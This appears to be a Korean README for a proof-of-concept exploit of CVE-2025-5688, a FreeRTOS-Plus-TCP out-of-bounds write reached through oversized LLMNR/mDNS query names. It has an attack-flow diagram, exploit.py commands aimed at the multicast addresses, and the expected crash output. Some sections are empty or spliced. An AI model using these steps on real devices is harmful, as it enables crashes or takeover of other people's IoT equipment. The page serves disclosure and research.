
CVE-2025-5688에 대한 PoC 익스플로잇: 조작된 LLMNR/mDNS 쿼리를 통한 FreeRTOS-Plus-TCP의 원격 범위 밖 쓰기로, 취약한 IoT 장치에서 충돌 또는 잠재적 RCE를 유발합니다.
원격 메모리 손상 / DoS / 잠재적 RCE 트리거 - FreeRTOS-Plus-TCP가 LLMNR 또는 mDNS 쿼리에서 과도하게 긴 DNS 이름을 처리할 때 발생 (버퍼 할당 방식 1).
익스플로잇 제작자: Mohammed Idrees Banyamer
국가: 요르단
Instagram: @banyamer_security
날짜: 2025년 12월 26일
이 PoC는 과도하게 긴 DNS 이름이 포함된 특수 제작된 UDP 멀티캐스트 패킷을 전송하여 취약한 버전의 FreeRTOS-Plus-TCP(LLMNR/mDNS + 방식 1이 적용된 v2.3.4 – v4.3.1)에서 **아웃오브바운즈 쓰기(CWE-787)**를 트리거합니다.
영향을 받는 기기에서 흔히 나타나는 증상:
영향을 받는 기기 (예시)
수정 버전: FreeRTOS-Plus-TCP 4.3.2 (엄격한 길이 검증 추가)
참고 자료
graph TD
A[Attacker on same LAN] -->|"1. Craft oversized DNS name"| B["`UDP Packet
long QNAME (~500+ bytes)`"]
B -->|"2. Send to multicast"| C{Target Protocol}
C -->|LLMNR| D[224.0.0.252:5355]
C -->|mDNS| E[224.0.0.251:5353]
D --> F["`FreeRTOS-Plus-TCP
LLMNR/mDNS Parser`"]
E --> F
F -->|"No length check + Scheme 1"| G[Fixed-size buffer overflow]
G --> H["`Out-of-bounds Write
CWE-787`"]
H --> I{Outcome}
I -->|"Common"| J[Crash / Reboot / Watchdog]
I -->|"Memory layout dependent"| K[Potential RCE / Code Execution]
I -->|"Data after buffer"| L[Memory corruption / Info leak]socket, sys) – 외부 패키지 불필요# LLMNR attack (default multicast)
python3 exploit.py LLMNR
# mDNS attack
python3 exploit.py mDNS
# Custom multicast IP (rarely needed)
python3 exploit.py LLMNR 224.0.0.252
python3 exploit.py mDNS 224.0.0.251
예상 출력:
[+] Sending 523-byte LLMNR query → target 224.0.0.252:5355
[+] Sent. Watch for immediate crash, reboot, LED blink loop, or freeze.
이 코드는 교육, 연구 및 취약점 시연 목적으로만 제공됩니다.
소유자의 명시적인 서면 허가 없이 이 익스플로잇을 어떤 시스템이나 네트워크에도 사용하지 마십시오.
무단 사용은 법률(컴퓨터 사기 및 남용 방지법 등)을 위반할 수 있습니다.
저자는 어떠한 오용이나 손해에 대해 책임을 지지 않습니다.
MIT 라이선스 – LICENSE 파일 참조 (없는 경우 추가).